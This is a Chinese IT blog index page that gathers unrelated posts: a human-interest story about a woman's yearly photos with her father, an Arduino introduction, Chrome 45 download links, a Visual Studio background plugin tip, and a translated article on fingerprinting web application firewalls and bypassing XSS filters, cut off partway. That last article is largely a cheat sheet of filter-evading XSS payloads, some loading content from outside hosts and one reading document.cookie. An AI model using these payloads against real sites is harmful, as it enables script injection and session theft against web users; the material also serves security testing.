IT sources奇趣网络信息
Pages: 1/62 First page 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Next page Final page [ View by Articles | List ]
Aug 26


     30年父女"萌"照感动网友
   31岁北京女孩赵萌萌在网上晒出和父亲的30张合影;女儿逐渐成长,父亲日渐衰老,上万网友感慨时光变迁

  从1岁的“小米豆”,到30岁的“大萌子”,北京女孩赵萌萌的身边,总有父亲的陪伴,她的母亲则用相机记录了父女俩的30年。近日,赵萌萌将她和父亲每一年的合照上传网络,时光变迁下的父女情感动上万网友。

  父亲节礼物两月后走红

  昨日一大早,31岁的赵萌萌登录微博后,有关自己的千余条评论和转发着实把她吓了一跳,而被上万网友大量关注的,是她发的一组照片“我和爸爸30年的合影”。

  “事实上,这组照片是我两个多月前发的。”赵萌萌说,6月17日是父亲节,她想给爸爸一个特殊的礼物。

  父亲节前的一天,赵萌萌跑回爸妈家,相册中、电脑里,从1岁到30岁,她把和父亲每年的合照找了出来,“扫描、排版、制作,花了两天时间。”

  “1岁,爸爸当时管我叫小米豆,因为我眼睛太小。”“13岁,帅哥爸爸和牙套妹大萌子,当时除了老爸,没有男生喜欢我。”每一张图片上,除了注明拍摄地点外,赵萌萌还写下了当年的小故事。

  照片发出后,曾有上百人转发,直到前天,引发万人关注,姚晨、左小祖咒等微博名人也被戳中“泪点”。

  Highslide JS也没想到,自己给父亲的节日礼物居然引起那么多人的共鸣,“我起初就是觉得,把我爸陪伴我的30年用画面整理出来,呈现出一个变化,我长大了,爸爸老了。”

  她认为反而是网友们看完照片的感触,让她的这组照片有了更多的意义,“比如人们对家的留恋,对父母的想念,对时光变迁的感慨。”

  每年一张合照成传统

  从“小米豆”到“大萌子”,赵萌萌说,每年一到她的生日,拍一张和父亲的合照,成了家里的传统,而记录的功劳全归喜欢摄影的妈妈。

  昨日,照片的“幕后摄影师”赵妈妈说,给孩子拍照起初是父母很自然的行为,“萌萌刚出生,这个小生命让人觉得特别美好。”拍着拍着,赵妈妈希望能用照片见证女儿的成长,身边的爸爸成了对照,“女儿大了,爸爸也老了。”

  而站在幕后的妈妈,并不为画面上缺失的自己感到遗憾,“我们一家人的照片也很多。”

  作为照片上的另一位主人公,萌萌的爸爸说他看完后,高兴得一晚上没睡好,但有想流泪的感动,一直在念叨“咱闺女真好,咱闺女多知道感恩啊。”

  得知照片也感动了不少网友后,赵爸爸想起一句他看到的评论,“用3分钟看完了30年,好像时光一下子就过来了。”

  今年的生日,赵萌萌没在北京,她会记得让妈妈补上一张和父亲的合照,“我们一家会再有一个30年。”

  故事

   14岁那年,父母为她挡住波澜

  “从小到大,我的每一步都有爸爸陪伴。”赵萌萌说,30年的人生里,每一天都能感受到父亲的爱。

  2岁时,家门口的玉兰花前,3岁时,玉渊潭公园的泥堤河边,都有萌爸的身影。儿时,萌爸是玩伴儿,陪在赵萌萌身边。

  4岁,赵萌萌得了中耳炎,整夜的哭闹让萌爸急得团团转,第二天一早,赵萌萌入院治疗,“我没两天出院了,我爸发起高烧。”

  7岁那年,小学二年级,赵萌萌脖子上挂上钥匙,开始自己上学放学,中午,放不下心的萌爸从单位骑车回家,看着女儿吃午饭,“一来一回,我爸要骑1小时20分。”

  赵萌萌14岁那年,当杂志编辑的萌爸失业了,照片里,她用“波澜”形容当时的生活。那年,萌爸42岁。“我看得出我爸的失落,但爸妈一直让家里的氛围很快乐,我没感受到任何压力。”

  中考那年,萌爸拿着古诗词,和女儿一起背诵,备战考试。

  18岁高考,赵萌萌凭着老爸帮忙总结的知识点考大学,在19岁生日那天拿到录取通知书。

  20多岁的某一天,当年近5旬的萌爸开始在网上写小说,不再为失业身负压力时,赵萌萌说她“如释重负”。

  照片里、聊天中,形容萌爸,赵萌萌最常用“帅”字。而在萌爸眼里,萌萌也一直最漂亮,“上学的时候,很少有男孩追我闺女,但我一直告诉她,她真的很漂亮。”昨日,得知网上有人称赞女儿在19岁出落成漂亮姑娘时,萌爸高兴地说,他的眼光没有错。

  对话

   “家”的记忆唤起网友共鸣

  大高个“大萌子”,笑起来有两个深深的酒窝,说起话来声音清亮。如今,已经结婚两年的她,整理和父亲的30年时,庆幸自己和父母的彼此陪伴,希望下一代也能绕膝承欢。

  新京报:整理照片时,有什么样的感慨?

  大萌子:时间是很有趣的东西,我的成长,我爸的老去,边整理边回忆是个快乐的过程。

  新京报:你觉得你几岁开始,父亲变老了?

  大萌子:我21岁的那年,我爸出去买菜,回来说,“人家都管我叫大爷”,我挺不情愿,其实那时,我爸刚50多岁,后来的两三年,他慢慢胖了,有了皱纹,坐着的时候,会有人们形容的那种“慈祥”的神色,有了老态。

  新京报:很多人都在感慨,30年能让一个人有这么大的变化。

  大萌子:你不觉得,我们俩的30年,也反映了社会的变化,我妈妈拿胶片机拍到了数码相机,从黑白照到彩色照,照片里玉渊潭的泥土河堤都见不着了,现在全是整整齐齐的地砖,老北京电视台那,以前都没有高架桥。

  新京报:你觉得是什么东西打动了网友?

  大萌子:我觉得是对家的共鸣,有人在评论时,就两个字“回家”,有人看得流泪了,也要和孩子、父母照相,很多人可能工作很忙,没时间陪父母,这一点,我是幸运的,如果我的照片能提醒大家时间在流逝,提醒大家珍惜和家人的时光,我会很高兴。

  微评论

  赵萌萌在微博上晒出与爸爸从1岁到30岁的合影,感动了众多网友,他们写下心声。

  @老袁说:人最不能等的是孝顺。

  @就我要你的快乐:30年说长不长,说短不短,从站在爸爸面前的小小人变成渐渐和爸爸一样高的小大人,岁月如梭,世事无常,珍惜这在一起的每一分每一秒。

  @爱皓朗:感觉像在看一部发生在你我和所有人身上的时光电影。不知不觉爸妈已经老去,而我也身为人父了。感叹时光的流逝,感动父爱的伟大,感谢亲情的陪伴,感恩家人的付出。

  @青卿子衿Q:一年mark(记录)30次容易,30年每年记得mark其实挺难得;平凡简单的事情因坚持和累积在岁月的催化下变得珍贵且动人。

  @ss小鱼儿ss:我和这姑娘同龄,但我没她幸福。她从小可以年年照相,于是才有了30年后的这份感动。我也有个好爸爸,但是小时候家里穷没相机也便极少照相,唯一和爸爸的两张合影是亲戚聚会顺便拍的。去年,我终于买了数码相机,可是,爸爸已经去世十一年了。

  @何炅:这个爱的故事好像就在我身边上演,其实我想我们都在这样的爱的故事里。
Jan 11
视频短片《最好的生活》
Feb 19
http://siberiawolf.com/free_programming/index.html
Dec 2
Highslide JS
Arduino是一款便捷灵活、方便上手的开源电子原型平台,包含硬件(各种型号的Arduino板)和软件(Arduino IDE)。由一个欧洲开发团队于2005年冬季开发。其成员包括Massimo Banzi、David Cuartielles、Tom Igoe、Gianluca Martino、David Mellis和Nicholas Zambetti。
它构建于开放原始码simple I/O介面版,并且具有使用类似Java、C语言的Processing/Wiring开发环境。主要包含两个主要的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了。
Arduino能通过各种各样的传感器来感知环境,通过控制灯光、马达和其他的装置来反馈、影响环境。板子上的微控制器可以通过Arduino的编程语言来编写程序,编译成二进制文件,烧录进微控制器。对Arduino的编程是利用 Arduino编程语言 (基于 Wiring)和Arduino开发环境(基于 Processing)来实现的。基于Arduino的项目,可以只包含Arduino,也可以包含Arduino和其他一些在PC上运行的软件,他们之间进行通信 (比如 Flash, Processing, MaxMSP)来实现。
Tags:
Oct 8
谷歌浏览器Chrome Stable 稳定版迎来例行升级,新版本号为v45.0.2454.101,本次更新了稳定性改进及Bug修复!Google Chrome,又称Google浏览器,是个由Google(谷歌)公司开发的网页浏览器。该浏览器是基于其他开源软件所撰写,包括WebKit,目标是提升稳定性、速度和安全性,并创造出简单且有效率的界面。
Google Chrome 新版更新了什么?
- 从v45版开始官方已彻底移除了NPAPi插件参数,现在PPAPI插件彻底停止;
- V42已正式停止对NPAPI插件的支持,现在默认安装仅支持5款PPAPI插件;
- 启NPAPI插件方法:请地址栏输入:chrome://flags/#enable-npapi 启用
官方更新日志
http://googlechromereleases.blogspot.com
64位版Google Chrome 有什么区别?
64位Chrome能更好地利用当今的硬件,并且对速度、安全性、稳定性进行了改善!
速度:64位Chrome能利用最新的处理器和编译器优化、更现代的指令集、更快的调用协议,从而实现了速度大提升,尤其是在图形和多媒体内容方面,性能提升25%。
安全性:Chrome能够利用最新的OS功能,例如Windows 8的High Entropy ASLR,64位Chrome在安全性上也实现了大幅提升。
稳定性:Google还在32位Chrome的基础上增强了64位Chrome的稳定性,尤其是,渲染器处理中的崩溃率大大降低,是32位Chrome的一半。
N软网提示大家有些插件还不支持64位版谷歌浏览器。
Google Chrome 稳定版 官方本地下载地址:
Google Chrome v45.0.2454.101 32位版 离线包
http://dl.google.com/chrome/win/0E8B92977CB91A99/45.0.2454.101_chrome_installer.exe
http://redirector.gvt1.com/edgedl/chrome/win/0E8B92977CB91A99/45.0.2454.101_chrome_installer.exe
Google Chrome v45.0.2454.101 64位版 离线包
http://dl.google.com/chrome/win/98E60FD8733C86C4/45.0.2454.101_chrome64_installer.exe
http://redirector.gvt1.com/edgedl/chrome/win/98E60FD8733C86C4/45.0.2454.101_chrome64_installer.exe
Chrome官方稳定版带更新功能 N软网 百度网盘:
http://pan.baidu.com/s/1qWPshOC
May 17
“我的互联网+ ”博客正式上线,“我的互联网+ ”是一个专注“互联网+”资讯与技术分享的博客!访问地址http://tommyhu.com
Apr 28
 上周某日,新生命群里面还是一如既往的热闹,突然小明发了张代码截图,问群友帮他看看什么问题,是下面这个问题截图:

Highslide JS

结果呢 ,很明显大家都看到了,嘿嘿,讨论问题的人没有了,我直接提问了:这背景姑娘是咋弄上去的。。。?

  然后发问题的人就热心的指点了下,用的是一个VS插件:ClaudiaIDE,在VS的“扩展与更新”里面搜索,记得要“联机”哦,就是这么个东西:

Highslide JS

有2个版本,下面一个版本貌似更新,所以我用的是它。安装完成后,重启VS,到菜单-工具-选项里面找到这个插件的设置,如下图:

Highslide JS

主要就是几个设置啊,需要设置图片目录,和透明度,大家要选择合适的突破哦。。。哈哈,分享几个群里大神的背景:

这个好像是3条6大神的:

Highslide JS

这个是网名:朝鲜三胖的:


Highslide JS


哈哈,怎么样,试一下把,自由发挥。。。当然可以随便设置哦。。。

本文原文地址:http://www.cnblogs.com/asxinyu/p/4453212.html

最后好像那个贴图小明的问题倒是没人关心了。。不懂,也帮不上忙啊。。。哈哈
Apr 26
  • 0x1 前言

    之前在乌云drops上看到一篇绕过WAF跨站脚本过滤器的一些技巧,是从国外的一篇paper部分翻译过来的,可以说文章摘取了原文核心的代码部分,见Bypass XSS过滤的测试方法。看完后觉得确实讲得比较全面和细致,然后找出了英文原文的paper,看了一下并画蛇添足的进行了下翻译,翻译得不好但算是有了篇完整的文章。

    0x2 正文

    摘要:

      众所周知,过去多年以来信息安全领域的划分出现了。web应用正遭受攻击,从这个角度来说,WAF(Web Application Firewalls)变得越来越流行,通常而言,各种机构会使用它来防范包括SQL注入、跨站脚本和远程命令执行在内的各种攻击。

      web应用依旧是网络犯罪的一个主要攻击向量,数据显示网络犯罪并没有减少的迹象。攻击者现在越来越多地通过通过跨站脚本、SQL注入和其他一些渗透技术对应用层发起攻击。

      web应用中的漏洞作为一个攻击目标可以归根于很多问题,包括:脆弱的输入验证、会话管理、不正确的系统设置及操作系统和服务器软件的缺陷。值得注意的是,犯错是人类的天性。实际上,编写安全的代码是减少web应用程序中漏洞的最有效方法。然而,在编程时我们免不了要出错,编写安全的代码说的远比做起来要简单,而且这还会涉及几个关键的问题。


    1.1 基本概念

      web应用中缺乏对用户输入参数和服务端响应的有效验证会引发XSS,这种攻击可以在目标用户的浏览器中插入任意HTML代码。

      从技术上来说,当用户的输入参数在浏览器中完全显示出来时就会出现这个问题,比如javascript代码能被解析为合法程序的一部分并能访问文档的所有实体(DOM)。现实中,在用户浏览器中修改脆弱应用程序的HTML文档或者使用网络钓鱼都会引发攻击,XSS攻击通常通过控制输入字段实现大量网站的脚本注入。

    1.2 介绍
      Firewalls、IDS、IPS是用于保护基础设施免于恶意攻击的最常见的安全机制。其中,防火墙最为常用的安全机制,通常置于网络层和应用层,通过基于预配置的注册签名数据库监控客户端和服务器端的HTTP和HTTPS流量,以此分析恶意数据包。
      一般来说,基于网络的应用层防火墙的基本目标是监控和阻塞违背了预定义策略的用户内容,有时候这些策略匹配可能成为潜在攻击的用户输入模式。通过WAF的规则在语义上而言和XSS的攻击载荷是一样的,关键在于避免处罚安全策略。
      WAF依赖于最常见的两项措施,即白名单和黑名单,白名单意味着仅允许当前数据库中白名单上的成员通过,而黑名单则会尝试过滤掉不被允许的通过。最常见的方法是使用黑名单,意味着会过滤掉那些已知的不可靠的,然而设置黑名单并不是正确的方法,它依赖于可以被绕过的黑名单列表。本文着重于解释各种能绕过WAF的方法,尤其是那些依赖于黑名单机制的WAF。

    2.1 指纹识别WAF
      在这一节中,我们会学习一些识别WAF的技巧。侦查是行动的第一步,在绕过前先知道我们面对的是什么是很重要的。一些WAF会在cookie值或http响应中留下明显的标记,这让我们能很容易的检测出我们面对的是什么WAF。

    2.1.1 Cookie值

      一些WAF会在HTTP通信中加上它们唯一的cookie,这对攻击者来说是非常有用的。

    2.1.2 指纹识别 Citrix Netscaler
      Citrix Netscaler便一个例子,下面是向一个部署了Citrix Netscaler的应用发起的简单而非恶意的GET请求

    01.GET / HTTP/1.1
    02.Host: target.com
    03.User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
    04.Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    05.Accept-Language: en-US,en;q=0.5
    06.Accept-Encoding: gzip, deflate
    07.Cookie: <a xhref="http://www.it165.net/pro/webasp/" target="_blank"class="keylink">ASP</a>SESSIONIDAQQSDCSC=HGJHINLDNMNFHABGPPBNGFKC;
    08.<strong>ns_af=31+LrS3EeEOBbxBV7AWDFIEhrn8A000;ns_af_.target.br_%2F_wat=QVNQU0VTU0lPTklEQVFRU0RDU0Nf?6IgJizHRbTRNuNoOpbBOiKRET2gA&</strong>
    09.Connection: keep-alive
    10.Cache-Control: max-age=0

    高亮部分标红(ns_af)是netscaler在GET请求中添加的cookie,这暗示了该应用的背后运行中citrix netscaler

    2.1.3 指纹识别 F5 BIG IP ASM
      F5是有着深层检测功能的世界知名web应用防火墙,类似于citrix netscaler,F5 BiG IP ASM也会在它们的HTTP通信中添加特定的cookie。下面是提交给有F5防火墙的应用一个非恶意GET请求:

    01.GET / HTTP/1.1
    03.User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
    04.Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    05.Accept-Language: en-US,en;q=0.5
    06.Accept-Encoding: gzip, deflate
    07.Cookie: target_cem_tl=40FC2190D3B2D4E60AB22C0F9EF155D5; s_fid=77F8544DA30373AC-31AE8C79E13D7394; s_vnum=1388516400627%26vn%3D1;
    08.s_nr=1385938565978-New; s_nr2=1385938565979-New; s_lv=1385938565980; s_vi=[CS]v1|294DCEC0051D2761-40000143E003E9DC[CE];
    09.fe_typo_user=7a64cc46ca253f9889675f9b9b79eb66;
    10.<strong>TSe3b54b=36f2896d9de8a61cf27aea24f35f8ee1abd1a43de557a25c529fe828; </strong>
    11.<strong>TS65374d=041365b3e678cba0e338668580430c26abd1a43de557a25c529fe8285a5ab5a8e5d0f299</strong>
    12.Connection: keep-alive
    13.Cache-Control: max-age=0

    2.1.4 HTTP Response
      其他WAF可以通过提交恶意请求后的HTTP响应类型来检测,每款WAF的响应各不相同,比较常见的有403、406、419、500、501等

    2.1.5 指纹识别Mod_Security
      Mod_security是一款针对Apache服务器而设计的开源WAF,由于是开源的,Mod_security曾被多次绕过,但也因此其检测能力有了重大的提升。一个恶意请求被发送给部署了mod_security的应用后返回一个“406 Not acceptable”错误,在响应体中也暗示了该错误由mod_security生成。


    请求:

    1.<strong>GET</strong> /<script>alert(1);</script>HTTP/1.1
    3.User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
    4.Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    5.Accept-Language: en-US,en;q=0.5
    6.Accept-Encoding: gzip, deflate
    7.Connection: keep-alive

    响应:

    1.<strong>HTTP/1.1</strong> 406 Not Acceptable
    2.Date: Thu, 05 Dec 2013 03:33:03 GMT
    3.Server: Apache
    4.Content-Length: 226
    5.Keep-Alive: timeout=10, max=30
    6.Connection: Keep-Alive
    7.Content-Type: text/html; charset=iso-8859-1
    8.<head><title>Not Acceptable!</title></head><body><h3>Not Acceptable!</h3><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by <strong>Mod_Security</strong>.</p></body></html>

    \

    2.1.5 指纹识别WebKnight

      Webknight是另一款非常流行的WAF,针对IIS服务器而设计。Webknight使用黑名单机制并查找诸如SQL注入、路径遍历、XSS攻击的特征,不同于其他WAF,识别Webknight非常容易,一个恶意请求返回'999 No Hacking'

    请求:

    1.<strong>GET</strong> /<strong>?PageID=99</strong><script>alert(1);</script>HTTP/1.1
    3.User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
    4.Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    5.Accept-Language: en-US,en;q=0.5
    6.Accept-Encoding: gzip, deflate
    7.Connection: keep-alive

    响应:

    1.HTTP/1.1 999 No Hacking
    2.Server: WWW Server/1.1
    3.Date: Thu, 05 Dec 2013 03:14:23 GMT
    4.Content-Type: text/html; charset=windows-1252
    5.Content-Length: 1160
    6.Pragma: no-cache
    7.Cache-control: no-cache
    8.Expires: Thu, 05 Dec 2013 03:14:23 GMT

    2.1.6 识别F5 BIG IP
      发送给F5 BIG IP的恶意请求会返回“419 Unknown”响应,这个也可以作为F5的指纹,即便请求中cookie值被隐藏了

    请求:

    01.GET /<script> HTTP/1.0
    02.HTTP/1.1 419 Unknown
    03.Cache-Control: no-cache
    04.Content-Type: text/html; charset=iso-8859-15
    05.Pragma: no-cache
    06.Content-Length: 8140
    07.Date: Mon, 25 Nov 2013 15:22:44 GMT
    08.Connection: keep-alive
    09.Vary: Accept-Encoding

    2.1.7 识别dotDefender
      dotDefender是另一款为保护.net应用程序而设计的知名WAF,同Mod_security和Webknight类似,在发送恶意请求后dotDefender会在响应体中包含暗示自身的信息
    请求:

    1.GET /---HTTP/1.1
    2.Host: www.acc.com
    3.User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
    4.Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    5.Accept-Language: en-US,en;q=0.5
    6.Accept-Encoding: gzip, deflate
    7.Connection: keep-alive
    8.Cache-Control: max-age=0

    响应:

    01.HTTP/1.1 200 OK
    02.Cache-Control: no-cache
    03.Content-Type: text/html
    04.Vary: Accept-Encoding
    05.Server: Microsoft-IIS/7.5
    06.X-Powered-By: <a xhref="http://www.it165.net/pro/webasp/" target="_blank"class="keylink">ASP</a>.NET
    07.Date: Thu, 05 Dec 2013 03:40:14 GMT
    08.Content-Length: 2616
    09.<!DOCTYPE HTML PUBLIC '-//W3C//DTD XHTML 1.0 Frameset//EN''http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd'>
    11.<head>
    12.<title>dotDefender Blocked Your Request</title>

    2.2.1 用Wafw00f自动指纹识别

      一些WAF足够聪明,会在cookie值和HTTP响应中隐藏自己的标记,这意味着即便你发送一个恶意的请求,响应永远都是“200 ok”,在这种情况下我们需要额外的测试来识别这种WAF的指纹。幸运的是,我们可以使用Wafw00f来节省我们的时间。
      Wafw00f是一个python写的、专门用于指纹识别WAF的小工具,它生成5种不同的测试来检测WAF,例如跟踪http请求里面的cookies、分析发送恶意请求收到的http响应、使用丢FIN和RST数据包的方法并查看收到的响应、服务器隐藏、修改URL、选择http方法及测试从一个WAF到另一个WAF的预建的否定签名。
      让我们直接从wafw00f源代码看一下它使用的检测方法。下面的几个截图演示了几个作为http请求发送的攻击向量,包含了常用的XSS字符串、遍历/etc/passwd的尝试及一个干净的HTML字符串。这些是最WAF一开始就会阻塞的常用特征,发送背后的意图是引起WAF触发一个唯一的错误以帮助wafw00f识别部署在应用后的WAF
    \

    2.2.2 基于Cookie的检测

      wafw00f使用的最常见的类型是基于cookie的检测,下面的截图演示了使用正则表达式匹配特定的cookie,在本例中是F5asm和F5trafficsheild。注意到F5 traffic sheild也会在服务器头里返回'F5-TrafficSheild',而这就是我们要找的代码

    2.2.3 匹配HTTP响应

      第二常见的类型检测方法是匹配http响应,我们之前已了解到有些WAF的响应含有独一无二的http响应代码,这有助于我们识别使用的WAF。下面的代码用于检测应用背后是否部署了'webKnight'防火墙,它发送一个攻击向量并匹配响应代码是否为'999',我们前面已经发现当WebKnight收到一个恶意请求时会抛出“999”
    \

    2.2.4 WAF清单
      wafw00f中的-list参数可以被用来确定wafw00f目前能检测的waf

    01.def iswebknight(self):
    02.  detected = False
    03.  for attack in self.attacks:
    04.    r = attack(self)
    05.    if r is None:
    06.    Return
    07.  response,responsebody= r
    08.  if response.status== 999:
    09.    detected =True
    10.    Break
    11.return detected


    2.2.5 使用工具
    这个工具很容易使用,你只需执行下面的命令即可

    3.1 绕过黑名单

      我们知道,为了节省时间大部分WAF提供商会使用黑名单进行否定,这意味着他们有一个包含复杂正则表达式的签名数据库,使用这个数据库可以查询他们试图阻塞的模式。问题在于这种基于黑名单的保护方法可以被绕过,因为javascript是如此灵活,这取决于具体于上下文。我们有成千上万的方式可以使用javascript绕过基于黑名单的保护机制,这也是我们在这一节要讨论的。

      有三种绕过黑名单的方法:

      1)暴力破解
      2)正则逆向
      3)浏览器bug

    3.1.2 暴力破解

      在暴力破解方法中,我们一般会抛出大量的攻击载荷并期望它们能触发,这也是大多数自动化工具和扫描器使用的方式。这种方法对一些过滤器而言可能是有效的,但是在真实环境中却常常会失败,因为自动化扫描器不理解上下文内容,而我们的攻击载荷在不同上下文中也是不同的。

    3.1.3 正则逆向

      这是绕过WAF的最佳方式,之前说过WAF依赖于使用它们数据库中的前面来匹配攻击载荷。这些指纹大多数是以复杂的正则表达式的形式存在,如果攻击载荷匹配了规则库中的正则就会触发WAF,但是如果不匹配则不会触发。使用这种方法,我们需要花点时间来逆向猜测WAF的指纹,一旦知道了WAF的阻塞规则,我们就可以构造不会触发WAF规则的攻击载荷和有效的javascript语法。

    3.1.4 浏览器Bug

      当上面两种方法都没法成功,利用浏览器漏洞则是我们剩下的最后一种办法了,绕过浏览器的关键在于我们要比供应商更加了解浏览器的机制。我们常常会遇到有着完整规则的WAF,使用现代浏览器我们没法绕过黑名单,因此我们将阵地转移至更旧的浏览器版本,看是否有已公布的bug或者能否找到一个0 day。继续尝试,我们可以发现一些浏览器bug,并看看怎样才能用它们绕过WAF。

    4.1 绕过黑名单的方法 – Cheat Sheet

      本节我们会看一下绕过黑名单的方法和方式,同样我还会在本节中谈及暴力破解和逆向正则的方法。

    4.1.1 初始测试

      1)尝试插入无害的HTML载荷如<b>,<i>,<u>,观察它们是否会被阻塞,http响应是怎样的。是否被html编码了、标签和尖括号是否被过滤了、是否有替换发生。

      2)如果开或闭标签被剔除了,尝试插入未闭合的标签(<b,<i,<u,<marquee)。观察是否过滤了开标签、插入的代码表现是否完美。如果表现得很完美,这意味着正则表达式会查找有着开合闭标签的html元素,而不会对开标签进行过滤。

      3)接下来试一下99.99%的xss过滤器都会过滤的XSS载荷:

    1.<script>alert(1);</script>
    2.<script>prompt(1);</script>
    3.<script>confirm (1);</script>

      你收到的响应是什么呢,它触犯了403 forbidden页面还是500错误?是否在http响应中完全剔除了整条语句了?或者只是部分剔除了,你还剩下alert、prompt、confrom?如果是这样的话,()是否也被过滤了呢?

      接下来,试着注入大小写组合的代码,说不定只有小写会被过滤。

    1.<scRiPt>alert(1);</scrIPt>

      4)假设大小写组合无法绕过过滤器,我们还可以使用嵌套的标签.

    1.<scr<script>ipt>alert(1)</scr<script>ipt>

      这种情况下,过滤器会剔除<script>和</script>标签,当外层的标签被过滤后<scr ipt>会结合起来形成合法的JavaScript代码,这样你就能绕过限制了

      5)接下来我们会使用<a href标签,看它会返回什么

      <a标签被过滤了吗?

      href被过滤了吗?
      href里面的数据被过了了吗?


      如果标签都没有过滤掉,我们可以在href标签里面插入javascript语句

    1.<a xhref=”javascript:alert(1)”>Clickme</a>

      它触发了错误吗?

      是否href里面的整个javascript标签都被剔掉了,或者仅剔除了'javaScript'?
      试一下混合的大小写能否绕过

      如果我们在href标签中,但javascript关键字被过滤了,还有很多不同的编码类型可供使用,后面会说到。接下来我们试一下使用事件处理执行Javascript代码

    1.<a xhref='www.cnblogs.com/r00tgrok' onmouseover=alert(1)>ClickHere</a>

      事件处理被删掉了吗?

      还是说仅仅过滤了'on'后面的'mouseover'

      接下来插入一个无效的事件处理检验是否所有的事件处理都会被过滤或者仅部分会被过滤

    1.<a xhref='www.cnblogs.com/r00tgrok' onclimbatree=alert(1)>ClickHere</a>

      收到相同的响应了吗?

      你能注入吗?

      如果我们可以注入无效的事件处理且'on'部分并未过滤,这意味着会过滤特定的事件处理。在HTML5中,我们有超过150种事件处理,这也意味着我们有150多种方法执行javascript,一个显著的变化是事件处理不会被过滤掉。一个很少被过滤的事件处理为'onhashchange':

    1.<body/onhashchange=alert(1)><a xhref=http://tommyhu.cn/admin.php#>click me

    4.1.2 测试其他标签

      接下来我们尝试一下其他常用能生成有效javascript语法的标签和属性

    src属性:
      接下来我们会测试src属性是否会被过滤,有很多html标签都可以使用src属性执行JavaScript代码

    1.<img xsrc=x onerror=prompt(1);>
    2.<img/src=aaa.jpg onerror=prompt(1);>
    3.<video xsrc=x onerror=prompt(1);>
    4.<audio xsrc=x onerror=prompt(1);>

    iframe:

    1.<iframesrc='javascript:alert(2)'>
    2.<iframe/src='data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=='>

    embed标签:

    1.<embed/src=//goo.gl/nlX0P>

    action属性:

      action是另外一个可以用于执行javascript脚本的属性,通常用于<form、<isindex等元素中

    1.<form action='Javascript:alert(1)'><input type=submit>
    2.<isindex action='javascript:alert(1)' type=image>
    3.<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>

    变种:

    1.<formaction='data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt'><button>CLICK

    formaction属性:

    1.<isindexformaction='javascript:alert(1)' type=image>
    2.<input type='image' formaction=JaVaScript:alert(0)>
    3.<form><button formaction=javascript&colon;alert(1)>CLICKME

    background属性:

    1.<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6

    poster属性:

    1.<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5

    data属性:

    1.<object data='data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4='>
    2.<object/data=//goo.gl/nlX0P?

    code属性:

    1.<applet code='javascript:confirm(document.cookie);'> // Firefox Only
    2.<embed code='http://businessinfo.co.uk/labs/xss/xss.swf' allowscriptaccess=always>

    事件处理:

    1.<svg/onload=prompt(1);>
    2.<marquee/onstart=confirm(2)>/
    3.<body onload=prompt(1);>
    4.<select autofocus onfocus=alert(1)>
    5.<textarea autofocus onfocus=alert(1)>
    6.<keygen autofocus onfocus=alert(1)>
    7.<video><source onerror='javascript:alert(1)'>

    最短向量:

    1.<q/oncut=open()>
    2.<q/oncut=alert(1)> // Useful in case of payload restrictions.

    嵌套:

    1.<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
    2.<body language=vbsonload=alert-1 // Works with IE8
    3.<command onmouseover ='javaSCRIPT:confirm(1)'>Save</command> // Works with IE8

    当圆括号被阻塞时使用throw:

    1.<a onmouseover='javascript:window.onerror=alert;throw 1>

    另一个变种:

    1.<img xsrc=x onerror='javascript:window.onerror=alert;throw 1'>

    Chrome和IE中,上面的向量会抛出一个'uncaught',然而可以使用十六进制戏法

    1.<body/onload=javascript:window.onerror=eval;throw'=alert(1)';

    expression属性:

    1.<img style='xss:expression(alert(0))'> // Works upto IE7.
    2.<div style='color:rgb(''&#0;x:expression(alert(1))'></div> // Works upto IE7.
    3.<style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7

    location属性:

    1.<a onmouseover=location=’javascript:alert(1)>click
    2.<body onfocus='location='javascrpt:alert(1) >123

    其他载荷:

    1.<meta http-equiv='refresh' content='0;url=//goo.gl/nlX0P'>
    2.<meta http-equiv='refresh' content='0;javascript&colon;alert(1)'/>
    3.<svg xmlns='http://www.w3.org/2000/svg'><g onload='javascript:alert(1);'></g></svg>
    4.<svg xmlns:xlink='http://www.w3.org/1999/xlink'><a><circle r=100 /><animate attributeName='xlink:href' values=';javascript:alert(1)' begin='0s' dur='0.1s'fill='freeze'/>
    5.<svg><![CDATA[><imagexlink:href=']]><img/src=xx:xonerror=alert(2)//'></svg> <meta content='&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)' http-equiv='refresh'/>
    6.<math><a xlink:href='//jsfiddle.net/t846h/'>click

    当 = ( ) ; : 都不被允许时的XSS载荷:

    1.<svg><script>alert&#40/1/&#41</script> // Works With All Browsers
    2.//  ( is html encoded to &#40
    3.//  ) is html encoded to &#41

    Opera中的变种:

    1.<svg><script>alert&#40 1&#41 // Works with Opera Only

    实体解码:
      通常那个WAF都会对输入进行解码,你应该测试一下你所遇到的WAF是否会进行实体解码。下面给出的例子不是一个孤立有效的XSS向量,然而有时候WAF会将其解码形成完美的javascript语法,然后你就能绕过了

